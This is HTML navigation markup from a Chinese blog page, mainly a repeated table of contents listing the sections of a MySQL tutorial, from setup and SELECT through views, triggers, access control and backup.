class="length-num">9</div></a></div><a id="card-info-btn" target="_blank" rel="noopener" href="https://github.com/jckling"><i class="fab fa-github"></i><span>Follow Me</span></a></div><div class="card-widget card-announcement"><div class="item-headline"><i class="fas fa-bullhorn fa-shake"></i><span>公告</span></div><div class="announcement_content">欢迎访问本站 🥳 <br/>评论需要审核，请不要重复提交~</div></div><div class="sticky_layout"><div class="card-widget" id="card-toc"><div class="item-headline"><i class="fas fa-stream"></i><span>目录</span><span class="toc-percentage"></span></div><div class="toc-content"><ol class="toc"><li class="toc-item toc-level-2"><a class="toc-link" href="#MySQL-%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA"><span class="toc-number">1.</span> <span class="toc-text">MySQL 环境搭建</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#HELP"><span class="toc-number">2.</span> <span class="toc-text">HELP</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#USE"><span class="toc-number">3.</span> <span class="toc-text">USE</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#SHOW"><span class="toc-number">4.</span> <span class="toc-text">SHOW</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#SHOW-DATABASES"><span class="toc-number">4.1.</span> <span class="toc-text">SHOW DATABASES</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#SHOW-TABLES"><span class="toc-number">4.2.</span> <span class="toc-text">SHOW TABLES</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#SHOW-COLUMNS"><span class="toc-number">4.3.</span> <span class="toc-text">SHOW COLUMNS</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#SHOW-STATUS"><span class="toc-number">4.4.</span> <span class="toc-text">SHOW STATUS</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#SHOW-CREATE-DATABASE"><span class="toc-number">4.5.</span> <span class="toc-text">SHOW CREATE DATABASE</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#SHOW-CREATE-TABLE"><span class="toc-number">4.6.</span> <span class="toc-text">SHOW CREATE TABLE</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#SHOW-GRANTS"><span class="toc-number">4.7.</span> <span class="toc-text">SHOW GRANTS</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#SHOW-ERRORS"><span class="toc-number">4.8.</span> <span class="toc-text">SHOW ERRORS</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#SHOW-WARNINGS"><span class="toc-number">4.9.</span> <span class="toc-text">SHOW WARNINGS</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#SELECT"><span class="toc-number">5.</span> <span class="toc-text">SELECT</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#WHERE"><span class="toc-number">6.</span> <span class="toc-text">WHERE</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%AF%94%E8%BE%83%E6%93%8D%E4%BD%9C%E7%AC%A6"><span class="toc-number">6.1.</span> <span class="toc-text">比较操作符</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E9%80%BB%E8%BE%91%E6%93%8D%E4%BD%9C%E7%AC%A6"><span class="toc-number">6.2.</span> <span class="toc-text">逻辑操作符</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#ORDER-BY"><span class="toc-number">7.</span> <span class="toc-text">ORDER BY</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Regular-Expressions"><span class="toc-number">8.</span> <span class="toc-text">Regular Expressions</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%AE%A1%E7%AE%97%E5%AD%97%E6%AE%B5"><span class="toc-number">9.</span> <span class="toc-text">计算字段</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%8B%BC%E6%8E%A5%E5%AD%97%E6%AE%B5"><span class="toc-number">9.1.</span> <span class="toc-text">拼接字段</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BD%BF%E7%94%A8%E5%88%AB%E5%90%8D"><span class="toc-number">9.2.</span> <span class="toc-text">使用别名</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%89%A7%E8%A1%8C%E7%AE%97%E6%95%B0%E8%AE%A1%E7%AE%97"><span class="toc-number">9.3.</span> <span class="toc-text">执行算数计算</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%87%BD%E6%95%B0%EF%BC%88Functions-and-Operators%EF%BC%89"><span class="toc-number">10.</span> <span class="toc-text">函数（Functions and Operators）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%96%87%E6%9C%AC%E5%87%BD%E6%95%B0"><span class="toc-number">10.1.</span> <span class="toc-text">文本函数</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%95%B0%E5%AD%A6%E5%87%BD%E6%95%B0"><span class="toc-number">10.2.</span> <span class="toc-text">数学函数</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%97%B6%E9%97%B4%E5%92%8C%E6%97%A5%E6%9C%9F%E5%87%BD%E6%95%B0"><span class="toc-number">10.3.</span> <span class="toc-text">时间和日期函数</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%81%9A%E9%9B%86%E5%87%BD%E6%95%B0"><span class="toc-number">11.</span> <span class="toc-text">聚集函数</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#AVG"><span class="toc-number">11.1.</span> <span class="toc-text">AVG()</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#COUNT"><span class="toc-number">11.2.</span> <span class="toc-text">COUNT()</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#MAX"><span class="toc-number">11.3.</span> <span class="toc-text">MAX()</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#MIN"><span class="toc-number">11.4.</span> <span class="toc-text">MIN()</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#SUM"><span class="toc-number">11.5.</span> <span class="toc-text">SUM()</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#ALL-DISTINCT"><span class="toc-number">11.6.</span> <span class="toc-text">ALL | DISTINCT</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%BB%84%E5%90%88%E8%81%9A%E9%9B%86%E5%87%BD%E6%95%B0"><span class="toc-number">11.7.</span> <span class="toc-text">组合聚集函数</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%95%B0%E6%8D%AE%E5%88%86%E7%BB%84"><span class="toc-number">12.</span> <span class="toc-text">数据分组</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#GROUP-BY"><span class="toc-number">12.1.</span> <span class="toc-text">GROUP BY</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#SELECT-%E5%AD%90%E5%8F%A5%E9%A1%BA%E5%BA%8F"><span class="toc-number">12.2.</span> <span class="toc-text">SELECT 子句顺序</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%AD%90%E6%9F%A5%E8%AF%A2"><span class="toc-number">13.</span> <span class="toc-text">子查询</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%BF%87%E6%BB%A4"><span class="toc-number">13.1.</span> <span class="toc-text">过滤</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BD%9C%E4%B8%BA%E8%AE%A1%E7%AE%97%E5%AD%97%E6%AE%B5"><span class="toc-number">13.2.</span> <span class="toc-text">作为计算字段</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%BF%9E%E6%8E%A5%EF%BC%88JOIN%EF%BC%89"><span class="toc-number">14.</span> <span class="toc-text">连接（JOIN）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%AD%89%E5%80%BC%E8%BF%9E%E6%8E%A5%EF%BC%88INNER-JOIN%EF%BC%89"><span class="toc-number">14.1.</span> <span class="toc-text">等值连接（INNER JOIN）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%87%AA%E8%BF%9E%E6%8E%A5"><span class="toc-number">14.2.</span> <span class="toc-text">自连接</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%87%AA%E7%84%B6%E8%BF%9E%E6%8E%A5%EF%BC%88NATURAL-JOIN%EF%BC%89"><span class="toc-number">14.3.</span> <span class="toc-text">自然连接（NATURAL JOIN）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%A4%96%E9%83%A8%E8%BF%9E%E6%8E%A5%EF%BC%88OUTER-JOIN%EF%BC%89"><span class="toc-number">14.4.</span> <span class="toc-text">外部连接（OUTER JOIN）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%BB%93%E5%90%88%E8%81%9A%E9%9B%86%E5%87%BD%E6%95%B0"><span class="toc-number">14.5.</span> <span class="toc-text">结合聚集函数</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%BB%84%E5%90%88%E6%9F%A5%E8%AF%A2"><span class="toc-number">15.</span> <span class="toc-text">组合查询</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%85%A8%E6%96%87%E6%9C%AC%E6%90%9C%E7%B4%A2"><span class="toc-number">16.</span> <span class="toc-text">全文本搜索</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#INSERT"><span class="toc-number">17.</span> <span class="toc-text">INSERT</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%8F%92%E5%85%A5%E5%8D%95%E8%A1%8C%E6%95%B0%E6%8D%AE"><span class="toc-number">17.1.</span> <span class="toc-text">插入单行数据</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%8F%92%E5%85%A5%E5%A4%9A%E8%A1%8C%E6%95%B0%E6%8D%AE"><span class="toc-number">17.2.</span> <span class="toc-text">插入多行数据</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%8F%92%E5%85%A5%E6%A3%80%E7%B4%A2%E5%87%BA%E7%9A%84%E6%95%B0%E6%8D%AE"><span class="toc-number">17.3.</span> <span class="toc-text">插入检索出的数据</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#UPDATE"><span class="toc-number">18.</span> <span class="toc-text">UPDATE</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#DELETE"><span class="toc-number">19.</span> <span class="toc-text">DELETE</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#CREATE-TABLE"><span class="toc-number">20.</span> <span class="toc-text">CREATE TABLE</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#NULL"><span class="toc-number">20.1.</span> <span class="toc-text">NULL</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#PRIMARY-KEY"><span class="toc-number">20.2.</span> <span class="toc-text">PRIMARY KEY</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#AUTO-INCREMENT"><span class="toc-number">20.3.</span> <span class="toc-text">AUTO_INCREMENT</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#DEFAULT"><span class="toc-number">20.4.</span> <span class="toc-text">DEFAULT</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#ENGINE"><span class="toc-number">20.5.</span> <span class="toc-text">ENGINE</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#ALTER-TABLE"><span class="toc-number">21.</span> <span class="toc-text">ALTER TABLE</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#RENAME-TABLE"><span class="toc-number">22.</span> <span class="toc-text">RENAME TABLE</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#DROP-TABLE"><span class="toc-number">23.</span> <span class="toc-text">DROP TABLE</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%A7%86%E5%9B%BE%EF%BC%88View%EF%BC%89"><span class="toc-number">24.</span> <span class="toc-text">视图（View）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%AE%80%E5%8C%96%E5%A4%8D%E6%9D%82%E7%9A%84-SQL%E6%93%8D%E4%BD%9C"><span class="toc-number">24.1.</span> <span class="toc-text">简化复杂的 SQL操作</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%A0%BC%E5%BC%8F%E5%8C%96%E6%95%B0%E6%8D%AE"><span class="toc-number">24.2.</span> <span class="toc-text">格式化数据</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%BF%87%E6%BB%A4%E6%95%B0%E6%8D%AE"><span class="toc-number">24.3.</span> <span class="toc-text">过滤数据</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%AE%A1%E7%AE%97%E5%AD%97%E6%AE%B5-1"><span class="toc-number">24.4.</span> <span class="toc-text">计算字段</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%9B%B4%E6%96%B0%E8%A7%86%E5%9B%BE"><span class="toc-number">24.5.</span> <span class="toc-text">更新视图</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%AD%98%E5%82%A8%E8%BF%87%E7%A8%8B%EF%BC%88stored-procedure%EF%BC%89"><span class="toc-number">25.</span> <span class="toc-text">存储过程（stored procedure）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#CREATE-PROCEDURE"><span class="toc-number">25.1.</span> <span class="toc-text">CREATE PROCEDURE</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#CALL"><span class="toc-number">25.2.</span> <span class="toc-text">CALL</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#DROP-PROCEDURE"><span class="toc-number">25.3.</span> <span class="toc-text">DROP PROCEDURE</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#SHOW-CREATE-PROCEDURE"><span class="toc-number">25.4.</span> <span class="toc-text">SHOW CREATE PROCEDURE</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#SHOW-PROCEDURE-STATUS"><span class="toc-number">25.5.</span> <span class="toc-text">SHOW PROCEDURE STATUS</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%99%BA%E8%83%BD%E5%AD%98%E5%82%A8%E8%BF%87%E7%A8%8B"><span class="toc-number">25.6.</span> <span class="toc-text">智能存储过程</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%B8%B8%E6%A0%87"><span class="toc-number">26.</span> <span class="toc-text">游标</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%88%9B%E5%BB%BA"><span class="toc-number">26.1.</span> <span class="toc-text">创建</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%89%93%E5%BC%80%E5%92%8C%E5%85%B3%E9%97%AD"><span class="toc-number">26.2.</span> <span class="toc-text">打开和关闭</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BD%BF%E7%94%A8%E6%B8%B8%E6%A0%87"><span class="toc-number">26.3.</span> <span class="toc-text">使用游标</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%A7%A6%E5%8F%91%E5%99%A8%EF%BC%88Triggers%EF%BC%89"><span class="toc-number">27.</span> <span class="toc-text">触发器（Triggers）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%88%9B%E5%BB%BA-1"><span class="toc-number">27.1.</span> <span class="toc-text">创建</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%88%A0%E9%99%A4"><span class="toc-number">27.2.</span> <span class="toc-text">删除</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BD%BF%E7%94%A8"><span class="toc-number">27.3.</span> <span class="toc-text">使用</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%BA%8B%E5%8A%A1%EF%BC%88TRANSACTION%EF%BC%89"><span class="toc-number">28.</span> <span class="toc-text">事务（TRANSACTION）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%8E%A7%E5%88%B6%E4%BA%8B%E5%8A%A1%E5%A4%84%E7%90%86"><span class="toc-number">28.1.</span> <span class="toc-text">控制事务处理</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%AD%97%E7%AC%A6%E9%9B%86%E5%92%8C%E6%A0%A1%E5%AF%B9"><span class="toc-number">29.</span> <span class="toc-text">字符集和校对</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%AE%BF%E9%97%AE%E6%8E%A7%E5%88%B6%EF%BC%88Access-Control%EF%BC%89"><span class="toc-number">30.</span> <span class="toc-text">访问控制（Access Control）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%94%A8%E6%88%B7%E8%B4%A6%E5%8F%B7"><span class="toc-number">30.1.</span> <span class="toc-text">用户账号</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%AE%BF%E9%97%AE%E6%9D%83%E9%99%90"><span class="toc-number">30.2.</span> <span class="toc-text">访问权限</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%95%B0%E6%8D%AE%E5%BA%93%E7%BB%B4%E6%8A%A4"><span class="toc-number">31.</span> <span class="toc-text">数据库维护</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%A4%87%E4%BB%BD%E4%B8%8E%E6%81%A2%E5%A4%8D%EF%BC%88Backup-and-Recovery%EF%BC%89"><span class="toc-number">31.1.</span> <span class="toc-text">备份与恢复（Backup and Recovery）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%BB%B4%E6%8A%A4"><span class="toc-number">31.2.</span> <span class="toc-text">维护</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%AF%8A%E6%96%AD%E5%90%AF%E5%8A%A8%E9%97%AE%E9%A2%98"><span class="toc-number">31.3.</span> <span class="toc-text">诊断启动问题</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%97%A5%E5%BF%97%E6%96%87%E4%BB%B6"><span class="toc-number">31.4.</span> <span class="toc-text">日志文件</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%94%B9%E5%96%84%E6%80%A7%E8%83%BD"><span class="toc-number">32.</span> <span class="toc-text">改善性能</span></a></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a class="thumbnail" href="/2024/02/24/Other/NVIDIA%20Omniverse%20Audio%20%E7%B3%BB%E5%88%97%E5%B7%A5%E5%85%B7%E4%BD%BF%E7%94%A8/" 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site-data is-center"><a href="/archives/"><div class="headline">文章</div><div class="length-num">124</div></a><a href="/tags/"><div class="headline">标签</div><div class="length-num">46</div></a><a href="/categories/"><div class="headline">分类</div><div class="length-num">9</div></a></div><a id="card-info-btn" target="_blank" rel="noopener" href="https://github.com/jckling"><i class="fab fa-github"></i><span>Follow Me</span></a></div><div class="card-widget card-announcement"><div class="item-headline"><i class="fas fa-bullhorn fa-shake"></i><span>公告</span></div><div class="announcement_content">欢迎访问本站 🥳 <br/>评论需要审核，请不要重复提交~</div></div><div class="sticky_layout"><div class="card-widget" id="card-toc"><div class="item-headline"><i class="fas fa-stream"></i><span>目录</span><span class="toc-percentage"></span></div><div class="toc-content"><ol class="toc"><li class="toc-item toc-level-2"><a class="toc-link" href="#MySQL-%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA"><span class="toc-number">1.</span> <span class="toc-text">MySQL 环境搭建</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#HELP"><span class="toc-number">2.</span> <span class="toc-text">HELP</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#USE"><span class="toc-number">3.</span> <span class="toc-text">USE</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#SHOW"><span class="toc-number">4.</span> <span class="toc-text">SHOW</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#SHOW-DATABASES"><span class="toc-number">4.1.</span> <span class="toc-text">SHOW DATABASES</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#SHOW-TABLES"><span class="toc-number">4.2.</span> <span class="toc-text">SHOW TABLES</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#SHOW-COLUMNS"><span class="toc-number">4.3.</span> <span class="toc-text">SHOW COLUMNS</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#SHOW-STATUS"><span class="toc-number">4.4.</span> <span class="toc-text">SHOW STATUS</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#SHOW-CREATE-DATABASE"><span class="toc-number">4.5.</span> <span class="toc-text">SHOW CREATE DATABASE</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#SHOW-CREATE-TABLE"><span class="toc-number">4.6.</span> <span class="toc-text">SHOW CREATE TABLE</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#SHOW-GRANTS"><span class="toc-number">4.7.</span> <span class="toc-text">SHOW GRANTS</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#SHOW-ERRORS"><span class="toc-number">4.8.</span> <span class="toc-text">SHOW ERRORS</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#SHOW-WARNINGS"><span class="toc-number">4.9.</span> <span class="toc-text">SHOW WARNINGS</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#SELECT"><span class="toc-number">5.</span> <span class="toc-text">SELECT</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#WHERE"><span class="toc-number">6.</span> <span class="toc-text">WHERE</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%AF%94%E8%BE%83%E6%93%8D%E4%BD%9C%E7%AC%A6"><span class="toc-number">6.1.</span> <span class="toc-text">比较操作符</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E9%80%BB%E8%BE%91%E6%93%8D%E4%BD%9C%E7%AC%A6"><span class="toc-number">6.2.</span> <span class="toc-text">逻辑操作符</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#ORDER-BY"><span class="toc-number">7.</span> <span class="toc-text">ORDER BY</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Regular-Expressions"><span class="toc-number">8.</span> <span class="toc-text">Regular Expressions</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%AE%A1%E7%AE%97%E5%AD%97%E6%AE%B5"><span class="toc-number">9.</span> <span class="toc-text">计算字段</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%8B%BC%E6%8E%A5%E5%AD%97%E6%AE%B5"><span class="toc-number">9.1.</span> <span class="toc-text">拼接字段</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BD%BF%E7%94%A8%E5%88%AB%E5%90%8D"><span class="toc-number">9.2.</span> <span class="toc-text">使用别名</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%89%A7%E8%A1%8C%E7%AE%97%E6%95%B0%E8%AE%A1%E7%AE%97"><span class="toc-number">9.3.</span> <span class="toc-text">执行算数计算</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%87%BD%E6%95%B0%EF%BC%88Functions-and-Operators%EF%BC%89"><span class="toc-number">10.</span> <span class="toc-text">函数（Functions and Operators）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%96%87%E6%9C%AC%E5%87%BD%E6%95%B0"><span class="toc-number">10.1.</span> <span class="toc-text">文本函数</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%95%B0%E5%AD%A6%E5%87%BD%E6%95%B0"><span class="toc-number">10.2.</span> <span class="toc-text">数学函数</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%97%B6%E9%97%B4%E5%92%8C%E6%97%A5%E6%9C%9F%E5%87%BD%E6%95%B0"><span class="toc-number">10.3.</span> <span class="toc-text">时间和日期函数</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%81%9A%E9%9B%86%E5%87%BD%E6%95%B0"><span class="toc-number">11.</span> <span class="toc-text">聚集函数</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#AVG"><span class="toc-number">11.1.</span> <span class="toc-text">AVG()</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#COUNT"><span class="toc-number">11.2.</span> <span class="toc-text">COUNT()</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#MAX"><span class="toc-number">11.3.</span> <span class="toc-text">MAX()</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#MIN"><span class="toc-number">11.4.</span> <span class="toc-text">MIN()</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#SUM"><span class="toc-number">11.5.</span> <span class="toc-text">SUM()</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#ALL-DISTINCT"><span class="toc-number">11.6.</span> <span class="toc-text">ALL | DISTINCT</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%BB%84%E5%90%88%E8%81%9A%E9%9B%86%E5%87%BD%E6%95%B0"><span class="toc-number">11.7.</span> <span class="toc-text">组合聚集函数</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%95%B0%E6%8D%AE%E5%88%86%E7%BB%84"><span class="toc-number">12.</span> <span class="toc-text">数据分组</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#GROUP-BY"><span class="toc-number">12.1.</span> <span class="toc-text">GROUP BY</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#SELECT-%E5%AD%90%E5%8F%A5%E9%A1%BA%E5%BA%8F"><span class="toc-number">12.2.</span> <span class="toc-text">SELECT 子句顺序</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%AD%90%E6%9F%A5%E8%AF%A2"><span class="toc-number">13.</span> <span class="toc-text">子查询</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%BF%87%E6%BB%A4"><span class="toc-number">13.1.</span> <span class="toc-text">过滤</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BD%9C%E4%B8%BA%E8%AE%A1%E7%AE%97%E5%AD%97%E6%AE%B5"><span class="toc-number">13.2.</span> <span class="toc-text">作为计算字段</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%BF%9E%E6%8E%A5%EF%BC%88JOIN%EF%BC%89"><span class="toc-number">14.</span> <span class="toc-text">连接（JOIN）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%AD%89%E5%80%BC%E8%BF%9E%E6%8E%A5%EF%BC%88INNER-JOIN%EF%BC%89"><span class="toc-number">14.1.</span> <span class="toc-text">等值连接（INNER JOIN）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%87%AA%E8%BF%9E%E6%8E%A5"><span class="toc-number">14.2.</span> <span class="toc-text">自连接</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%87%AA%E7%84%B6%E8%BF%9E%E6%8E%A5%EF%BC%88NATURAL-JOIN%EF%BC%89"><span class="toc-number">14.3.</span> <span class="toc-text">自然连接（NATURAL JOIN）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%A4%96%E9%83%A8%E8%BF%9E%E6%8E%A5%EF%BC%88OUTER-JOIN%EF%BC%89"><span class="toc-number">14.4.</span> <span class="toc-text">外部连接（OUTER JOIN）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%BB%93%E5%90%88%E8%81%9A%E9%9B%86%E5%87%BD%E6%95%B0"><span class="toc-number">14.5.</span> <span class="toc-text">结合聚集函数</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%BB%84%E5%90%88%E6%9F%A5%E8%AF%A2"><span class="toc-number">15.</span> <span class="toc-text">组合查询</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%85%A8%E6%96%87%E6%9C%AC%E6%90%9C%E7%B4%A2"><span class="toc-number">16.</span> <span class="toc-text">全文本搜索</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#INSERT"><span class="toc-number">17.</span> <span class="toc-text">INSERT</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%8F%92%E5%85%A5%E5%8D%95%E8%A1%8C%E6%95%B0%E6%8D%AE"><span class="toc-number">17.1.</span> <span class="toc-text">插入单行数据</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%8F%92%E5%85%A5%E5%A4%9A%E8%A1%8C%E6%95%B0%E6%8D%AE"><span class="toc-number">17.2.</span> <span class="toc-text">插入多行数据</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%8F%92%E5%85%A5%E6%A3%80%E7%B4%A2%E5%87%BA%E7%9A%84%E6%95%B0%E6%8D%AE"><span class="toc-number">17.3.</span> <span class="toc-text">插入检索出的数据</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#UPDATE"><span class="toc-number">18.</span> <span class="toc-text">UPDATE</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#DELETE"><span class="toc-number">19.</span> <span class="toc-text">DELETE</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" 